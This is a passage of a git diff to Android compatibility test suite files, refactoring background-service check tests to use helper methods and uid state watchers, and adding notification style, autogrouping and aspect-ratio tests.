mContext.stopService(mService2Intent);
conn.cleanup(WAIT_TIME);
conn2.cleanup(WAIT_TIME);
+ uidWatcher.finish();
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
@@ -481,6 +598,10 @@
}
}
+ /**
+ * Test the background check doesn't allow services to be started from broadcasts except
+ * when in the correct states.
+ */
public void testBackgroundCheckBroadcastService() throws Exception {
final Intent broadcastIntent = new Intent();
broadcastIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -492,24 +613,18 @@
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent);
- // First kill the process to start out in a stable state.
- controller.ensureProcessGone(WAIT_TIME);
-
- String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We don't want to wait for the uid to actually go idle, we can force it now.
- cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // Make sure app is not yet on whitelist
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We will use this to monitor when the service is running.
- conn.startMonitoring();
-
try {
+ // First kill the process to start out in a stable state.
+ controller.ensureProcessGone(WAIT_TIME);
+
+ // Do initial setup.
+ controller.denyBackgroundOp(WAIT_TIME);
+ controller.makeUidIdle();
+ controller.removeFromWhitelist();
+
+ // We will use this to monitor when the service is running.
+ conn.startMonitoring();
+
// Try sending broadcast to start the service. Should fail!
SyncOrderedBroadcast br = new SyncOrderedBroadcast();
broadcastIntent.putExtra("service", mServiceIntent);
@@ -519,9 +634,19 @@
fail("Didn't fail starting service, result=" + brCode);
}
+ // Track the uid proc state changes from the broadcast (but not service execution)
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Put app on temporary whitelist to see if this allows the service start.
- cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ controller.tempWhitelist(2000);
+
+ // Being on the whitelist means the uid is now active.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
// Try starting the service now that the app is whitelisted... should work!
br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
@@ -531,18 +656,33 @@
}
conn.waitForConnect(WAIT_TIME);
+ // Also make sure the uid state reports are as expected.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ // We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
+ // proc state depending on timing.
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Good, now stop the service and give enough time to get off the temp whitelist.
mContext.stopService(mServiceIntent);
conn.waitForDisconnect(WAIT_TIME);
+
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
Thread.sleep(3000);
+ // Going off the temp whitelist causes a spurious proc state report... that's
+ // not ideal, but okay.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // We don't want to wait for the uid to actually go idle, we can force it now.
+ controller.makeUidIdle();
+
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+
// Make sure the process is gone so we start over fresh.
controller.ensureProcessGone(WAIT_TIME);
- // We don't want to wait for the uid to actually go idle, we can force it now.
- cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
// Now that we should be off the temp whitelist, make sure we again can't start.
br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
brCode = br.getReceivedCode();
@@ -550,9 +690,17 @@
fail("Didn't fail starting service, result=" + brCode);
}
+ // Track the uid proc state changes from the broadcast (but not service execution)
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ // There could be a transient 'cached' state here before 'uncached' if uid state
+ // changes are dispatched before receiver is started.
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Now put app on whitelist, should allow service to run.
- cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ controller.addToWhitelist();
// Try starting the service now that the app is whitelisted... should work!
br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
@@ -562,24 +710,28 @@
}
conn.waitForConnect(WAIT_TIME);
+ // Also make sure the uid state reports are as expected.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Okay, bring down the service.
mContext.stopService(mServiceIntent);
conn.waitForDisconnect(WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
} finally {
mContext.stopService(mServiceIntent);
- conn.stopMonitoring();
-
- cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
+ conn.stopMonitoringIfNeeded();
controller.cleanup();
}
}
+ /**
+ * Test that background check does allow services to be started from activities.
+ */
public void testBackgroundCheckActivityService() throws Exception {
final Intent activityIntent = new Intent();
activityIntent.setClassName(SIMPLE_PACKAGE_NAME,
@@ -590,24 +742,18 @@
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent);
- // First kill the process to start out in a stable state.
- controller.ensureProcessGone(WAIT_TIME);
-
- String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We don't want to wait for the uid to actually go idle, we can force it now.
- cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // Make sure app is not yet on whitelist
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We will use this to monitor when the service is running.
- conn.startMonitoring();
-
try {
+ // First kill the process to start out in a stable state.
+ controller.ensureProcessGone(WAIT_TIME);
+
+ // Do initial setup.
+ controller.denyBackgroundOp(WAIT_TIME);
+ controller.makeUidIdle();
+ controller.removeFromWhitelist();
+
+ // We will use this to monitor when the service is running.
+ conn.startMonitoring();
+
// Try starting activity that will start the service. This should be okay.
WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
waiter.prepare(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
@@ -620,20 +766,63 @@
}
conn.waitForConnect(WAIT_TIME);
+ final String expectedActivityState = (isScreenInteractive() && !isKeyguardLocked())
+ ? "TOP" : "TPSL";
+ // Also make sure the uid state reports are as expected.
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
+ expectedActivityState, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Okay, bring down the service.
mContext.stopService(mServiceIntent);
conn.waitForDisconnect(WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // App isn't yet idle, so we should be able to start the service again.
+ mContext.startService(mServiceIntent);
+ conn.waitForConnect(WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
+ // And now fast-forward to the app going idle, service should be stopped.
+ controller.makeUidIdle();
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+
+ conn.waitForDisconnect(WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // No longer should be able to start service.
+ boolean failed = false;
+ try {
+ mContext.startService(mServiceIntent);
+ } catch (IllegalStateException e) {
+ failed = true;
+ }
+ if (!failed) {
+ fail("Service was allowed to start while in the background");
+ }
+
} finally {
mContext.stopService(mServiceIntent);
- conn.stopMonitoring();
-
- cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
+ conn.stopMonitoringIfNeeded();
controller.cleanup();
}
}
+
+ private boolean isScreenInteractive() {
+ final PowerManager powerManager =
+ (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ return powerManager.isInteractive();
+ }
+
+ private boolean isKeyguardLocked() {
+ final KeyguardManager keyguardManager =
+ (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
+ return keyguardManager.isKeyguardLocked();
+ }
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index fbb32a2..31cb632 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -283,13 +283,13 @@
// Test illegal parameter
List<RunningServiceInfo> runningServiceInfo;
runningServiceInfo = mActivityManager.getRunningServices(-1);
- assertTrue(runningServiceInfo.size() == 0);
+ assertTrue(runningServiceInfo.isEmpty());
runningServiceInfo = mActivityManager.getRunningServices(0);
- assertTrue(runningServiceInfo.size() == 0);
+ assertTrue(runningServiceInfo.isEmpty());
runningServiceInfo = mActivityManager.getRunningServices(5);
- assertTrue(runningServiceInfo.size() >= 0 && runningServiceInfo.size() <= 5);
+ assertTrue(runningServiceInfo.size() <= 5);
Intent intent = new Intent();
intent.setClass(mInstrumentation.getTargetContext(), MockService.class);
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
index df487f1..fa6154e 100644
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -16,6 +16,7 @@
package android.app.cts;
+import android.app.stubs.MetaDataMaxAspectRatioActivity;
import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
import org.junit.After;
@@ -80,6 +81,11 @@
false /* initialTouchMode */, false /* launchActivity */);
@Rule
+ public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
+ new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
false /* initialTouchMode */, false /* launchActivity */);
@@ -105,6 +111,7 @@
finishActivity(mMaxAspectRatioResizeableActivity);
finishActivity(mSdk25MaxAspectRatioActivity);
finishActivity(mMaxAspectRatioUnsetActivity);
+ finishActivity(mMetaDataMaxAspectRatioActivity);
}
@Test
@@ -139,6 +146,16 @@
}
@Test
+ @Presubmit
+ public void testMetaDataMaxAspectRatio() throws Exception {
+ runTest(launchActivity(mMetaDataMaxAspectRatioActivity),
+ actual -> {
+ if (MAX_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ });
+ }
+
+ @Test
// TODO: Currently 10% flaky so not part of pre-submit for now
public void testMaxAspectRatioResizeableActivity() throws Exception {
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index 42b1fed..c16101f 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -210,13 +210,10 @@
assertFalse(d.isShowing());
}
- public void testOnSaveInstanceState() {
+ public void testOnSaveInstanceState() throws InterruptedException {
startDialogActivity(DialogStubActivity.TEST_ONSTART_AND_ONSTOP);
final TestDialog d = (TestDialog) mActivity.getDialog();
- assertFalse(d.isOnSaveInstanceStateCalled);
- assertFalse(TestDialog.isOnRestoreInstanceStateCalled);
-
//skip if the device doesn't support both of portrait and landscape orientation screens.
final PackageManager pm = mContext.getPackageManager();
if(!(pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
@@ -224,10 +221,11 @@
return;
}
- OrientationTestUtils.toggleOrientationSync(mActivity, mInstrumentation);
-
- assertTrue(d.isOnSaveInstanceStateCalled);
- assertTrue(TestDialog.isOnRestoreInstanceStateCalled);
+ d.onSaveInstanceStateObserver.startObserving();
+ TestDialog.onRestoreInstanceStateObserver.startObserving();
+ OrientationTestUtils.toggleOrientation(mActivity);
+ d.onSaveInstanceStateObserver.await();
+ TestDialog.onRestoreInstanceStateObserver.await();
}
public void testGetCurrentFocus() throws Throwable {
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index e3ce544..6d7fdeb 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -55,7 +55,9 @@
final int origHeight = origDisplay.getHeight();
// Change orientation
- OrientationTestUtils.switchOrientation(mActivity, mInstrumentation);
+ mActivity.configurationChangeObserver.startObserving();
+ OrientationTestUtils.switchOrientation(mActivity);
+ mActivity.configurationChangeObserver.await();
// Get a {@link Display} instance after rotation.
final Display updatedDisplay = mActivity.getDisplay();
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 70ec9cf..c54df84 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -28,6 +28,9 @@
import android.provider.Settings;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.3.1/C-1-1,C-1-4")
public class NotificationChannelTest extends AndroidTestCase {
@Override
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3200409..4ee7eaf 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -24,21 +24,28 @@
import android.app.stubs.R;
import android.content.Context;
import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
import android.media.AudioAttributes;
+import android.media.session.MediaSession;
import android.net.Uri;
+import android.os.Bundle;
import android.provider.Settings;
import android.provider.Telephony.Threads;
import android.service.notification.StatusBarNotification;
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;
-import java.util.Arrays;
-
+@CddTest(requirement="3.8.3.1/C-1-3,C-1-4")
public class NotificationManagerTest extends AndroidTestCase {
final String TAG = NotificationManagerTest.class.getSimpleName();
final boolean DEBUG = false;
@@ -58,6 +65,10 @@
mNotificationManager.cancelAll();
mNotificationManager.createNotificationChannel(new NotificationChannel(
NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+ // delay between tests so notifications aren't dropped by the rate limiter
+ try {
+ Thread.sleep(500);
+ } catch(InterruptedException e) {}
}
@Override
@@ -165,6 +176,7 @@
compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
}
+ @CddTest(requirement="3.8.3.1/C-1-3")
public void testCreateChannelWithGroup() throws Exception {
NotificationChannelGroup ncg = new NotificationChannelGroup("g", "n");
mNotificationManager.createNotificationChannelGroup(ncg);
@@ -278,6 +290,10 @@
continue;
}
assertFalse(channel3.getId().equals(nc.getId()));
+ if (!channelMap.containsKey(nc.getId())) {
+ // failed cleanup from prior test run; ignore
+ continue;
+ }
compareChannels(channelMap.get(nc.getId()), nc);
}
}
@@ -375,7 +391,274 @@
checkNotificationExistence(id, false);
}
+ @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
+ public void testMediaStyle() throws Exception {
+ mNotificationManager.cancelAll();
+ final int id = 99;
+ MediaSession session = new MediaSession(getContext(), "media");
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "play", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "pause", getPendingIntent()).build())
+ .setStyle(new Notification.MediaStyle()
+ .setShowActionsInCompactView(0, 1)
+ .setMediaSession(session.getSessionToken()))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ public void testInboxStyle() throws Exception {
+ final int id = 100;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "a1", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "a2", getPendingIntent()).build())
+ .setStyle(new Notification.InboxStyle().addLine("line")
+ .setSummaryText("summary"))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
+ public void testBigTextStyle() throws Exception {
+ final int id = 101;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "a1", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "a2", getPendingIntent()).build())
+ .setStyle(new Notification.BigTextStyle()
+ .setBigContentTitle("big title")
+ .bigText("big text")
+ .setSummaryText("summary"))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
+ public void testBigPictureStyle() throws Exception {
+ final int id = 102;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "a1", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "a2", getPendingIntent()).build())
+ .setStyle(new Notification.BigPictureStyle()
+ .setBigContentTitle("title")
+ .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
+ .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+ .setSummaryText("summary"))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ @CddTest(requirement="3.8.3.1/C-1-3")
+ public void testAutogrouping() throws Exception {
+ sendNotification(1, R.drawable.black);
+ sendNotification(2, R.drawable.blue);
+ sendNotification(3, R.drawable.yellow);
+ sendNotification(4, R.drawable.yellow);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+ }
+
+ @CddTest(requirement="3.8.3.1/C-1-3")
+ public void testAutogrouping_autogroupStaysUntilAllNotificationsCanceled() throws Exception {
+ sendNotification(1, R.drawable.black);
+ sendNotification(2, R.drawable.blue);
+ sendNotification(3, R.drawable.yellow);
+ sendNotification(4, R.drawable.yellow);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+
+ // Assert all notis stay in the same autogroup until all children are canceled
+ for (int i = 4; i > 1; i--) {
+ cancelAndPoll(i);
+ assertNotificationCount(i);
+ assertAllPostedNotificationsAutogrouped();
+ }
+ cancelAndPoll(1);
+ assertNotificationCount(0);
+ }
+
+ public void testAutogrouping_autogroupStaysUntilAllNotificationsAddedToGroup()
+ throws Exception {
+ String newGroup = "new!";
+ sendNotification(1, R.drawable.black);
+ sendNotification(2, R.drawable.blue);
+ sendNotification(3, R.drawable.yellow);
+ sendNotification(4, R.drawable.yellow);
+
+ List<Integer> postedIds = new ArrayList<>();
+ postedIds.add(1);
+ postedIds.add(2);
+ postedIds.add(3);
+ postedIds.add(4);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+
+ // Assert all notis stay in the same autogroup until all children are canceled
+ for (int i = 4; i > 1; i--) {
+ sendNotification(i, newGroup, R.drawable.blue);
+ postedIds.remove(postedIds.size() - 1);
+ assertNotificationCount(5);
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+ sendNotification(1, newGroup, R.drawable.blue);
+ assertNotificationCount(4); // no more autogroup summary
+ postedIds.remove(0);
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+
+ public void testNewNotificationsAddedToAutogroup_ifOriginalNotificationsCanceled()
+ throws Exception {
+ String newGroup = "new!";
+ sendNotification(10, R.drawable.black);
+ sendNotification(20, R.drawable.blue);
+ sendNotification(30, R.drawable.yellow);
+ sendNotification(40, R.drawable.yellow);
+
+ List<Integer> postedIds = new ArrayList<>();
+ postedIds.add(10);
+ postedIds.add(20);
+ postedIds.add(30);
+ postedIds.add(40);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+
+ // regroup all but one of the children
+ for (int i = postedIds.size() - 1; i > 0; i--) {
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ int id = postedIds.remove(i);
+ sendNotification(id, newGroup, R.drawable.blue);
+ assertNotificationCount(5);
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+
+ // send a new non-grouped notification. since the autogroup summary still exists,
+ // the notification should be added to it
+ sendNotification(50, R.drawable.blue);
+ postedIds.add(50);
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+
+ private PendingIntent getPendingIntent() {
+ return PendingIntent.getActivity(
+ getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+ }
+
+ private boolean isGroupSummary(Notification n) {
+ return n.getGroup() != null && (n.flags & Notification.FLAG_GROUP_SUMMARY) != 0;
+ }
+
+ private void assertOnlySomeNotificationsAutogrouped(List<Integer> autoGroupedIds) {
+ String expectedGroupKey = null;
+ StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ if (isGroupSummary(sbn.getNotification())
+ || autoGroupedIds.contains(sbn.getId())) {
+ assertTrue(sbn.getKey() + " is unexpectedly not autogrouped",
+ sbn.getOverrideGroupKey() != null);
+ if (expectedGroupKey == null) {
+ expectedGroupKey = sbn.getGroupKey();
+ }
+ assertEquals(expectedGroupKey, sbn.getGroupKey());
+ } else {
+ assertTrue(sbn.isGroup());
+ assertTrue(sbn.getKey() + " is unexpectedly autogrouped,",
+ sbn.getOverrideGroupKey() == null);
+ assertTrue(sbn.getKey() + " has an unusual group key",
+ sbn.getGroupKey() != expectedGroupKey);
+ }
+ }
+ }
+
+ private void assertAllPostedNotificationsAutogrouped() {
+ String expectedGroupKey = null;
+ StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ // all notis should be in a group determined by autogrouping
+ assertTrue(sbn.getOverrideGroupKey() != null);
+ if (expectedGroupKey == null) {
+ expectedGroupKey = sbn.getGroupKey();
+ }
+ // all notis should be in the same group
+ assertEquals(expectedGroupKey, sbn.getGroupKey());
+ }
+ }
+
+ private void cancelAndPoll(int id) {
+ mNotificationManager.cancel(id);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+ fail("canceled notification was still alive, id=" + 1);
+ }
+ }
+
private void sendNotification(final int id, final int icon) throws Exception {
+ sendNotification(id, null, icon);
+ }
+
+ private void sendNotification(final int id, String groupKey, final int icon) throws Exception {
final Intent intent = new Intent(Intent.ACTION_MAIN, Threads.CONTENT_URI);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
@@ -385,12 +668,13 @@
final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(icon)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + id)
- .setContentText("This is #" + id + "notification ")
- .setContentIntent(pendingIntent)
- .build();
+ .setSmallIcon(icon)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .setContentIntent(pendingIntent)
+ .setGroup(groupKey)
+ .build();
mNotificationManager.notify(id, notification);
if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
@@ -401,9 +685,9 @@
private boolean checkNotificationExistence(int id, boolean shouldExist) {
// notification is a bit asynchronous so it may take a few ms to appear in
// getActiveNotifications()
- // we will check for it for up to 200ms before giving up
+ // we will check for it for up to 300ms before giving up
boolean found = false;
- for (int tries=3; tries-->0;) {
+ for (int tries = 3; tries--> 0;) {
// Need reset flag.
found = false;
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -423,6 +707,24 @@
return found == shouldExist;
}
+ private void assertNotificationCount(int expectedCount) {
+ // notification is a bit asynchronous so it may take a few ms to appear in
+ // getActiveNotifications()
+ // we will check for it for up to 400ms before giving up
+ int lastCount = 0;
+ for (int tries = 4; tries-- > 0;) {
+ final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ lastCount = sbns.length;
+ if (expectedCount == lastCount) return;
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ }
+ fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
+ }
+
private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
if (actual == null) {
fail("actual channel is null");
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 25c25e3..47ab3a1 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -29,8 +29,11 @@
import android.test.AndroidTestCase;
import android.widget.RemoteViews;
+import com.android.compatibility.common.util.CddTest;
+
import org.mockito.internal.matchers.Not;
+@CddTest(requirement="3.8.3/H-0-1,3.8.3.1/C-1-4")
public class NotificationTest extends AndroidTestCase {
private static final String TEXT_RESULT_KEY = "text";
private static final String DATA_RESULT_KEY = "data";
